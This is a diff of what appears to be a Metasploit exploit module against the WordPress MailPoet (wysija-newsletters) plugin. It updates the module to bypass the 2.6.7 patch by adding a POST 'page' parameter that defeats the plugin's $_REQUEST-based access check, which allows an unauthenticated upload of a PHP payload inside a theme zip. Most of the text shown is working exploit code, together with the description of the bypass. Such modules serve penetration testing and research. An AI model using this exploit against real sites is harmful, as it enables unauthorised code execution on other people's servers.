@@ -15,11 +15,16 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload' ,
17
17
'Description' => %q{
18
- The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
18
+ The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
19
19
is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
20
20
functionality to upload a zip file containing the payload. The plugin used the
21
21
admin_init hook, which is also executed for unauthenticated users when accessing
22
- a specific URL.
22
+ a specific URL. The developers tried to fix the vulnerablility
23
+ in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
24
+ a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
25
+ uses $_REQUEST to check for access rights. By setting the POST parameter to
26
+ something not beginning with 'wysija_', the check is bypassed. Wordpress uses
27
+ the $_GET array to determine the page and is so not affected by this.
23
28
} ,
24
29
'Author' =>
25
30
[
@@ -29,12 +34,14 @@ def initialize(info = {})
29
34
'License' => MSF_LICENSE ,
30
35
'References' =>
31
36
[
32
- [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ]
37
+ [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] ,
38
+ [ 'URL' , 'http://www.mailpoet.com/security-update-part-2/' ] ,
39
+ [ 'URL' , 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php' ]
33
40
] ,
34
41
'Privileged' => false ,
35
42
'Platform' => [ 'php' ] ,
36
43
'Arch' => ARCH_PHP ,
37
- 'Targets' => [ [ 'wysija-newsletters < 2.6.7 ' , { } ] ] ,
44
+ 'Targets' => [ [ 'wysija-newsletters < 2.6.8 ' , { } ] ] ,
38
45
'DefaultTarget' => 0 ,
39
46
'DisclosureDate' => 'Jul 1 2014' ) )
40
47
end
@@ -81,7 +88,7 @@ def check
81
88
82
89
print_status ( "#{ peer } - Found version #{ version } of the plugin" )
83
90
84
- if Gem ::Version . new ( version ) < Gem ::Version . new ( '2.6.7 ' )
91
+ if Gem ::Version . new ( version ) < Gem ::Version . new ( '2.6.8 ' )
85
92
return Msf ::Exploit ::CheckCode ::Appears
86
93
else
87
94
return Msf ::Exploit ::CheckCode ::Safe
@@ -101,6 +108,7 @@ def exploit
101
108
data . add_part ( 'on' , nil , nil , 'form-data; name="overwriteexistingtheme"' )
102
109
data . add_part ( 'themeupload' , nil , nil , 'form-data; name="action"' )
103
110
data . add_part ( 'Upload' , nil , nil , 'form-data; name="submitter"' )
111
+ data . add_part ( rand_text_alpha ( 10 ) , nil , nil , 'form-data; name="page"' )
104
112
post_data = data . to_s
105
113
106
114
payload_uri = normalize_uri ( target_uri . path , 'wp-content' , 'uploads' , 'wysija' , 'themes' , theme_name , payload_name )
0 commit comments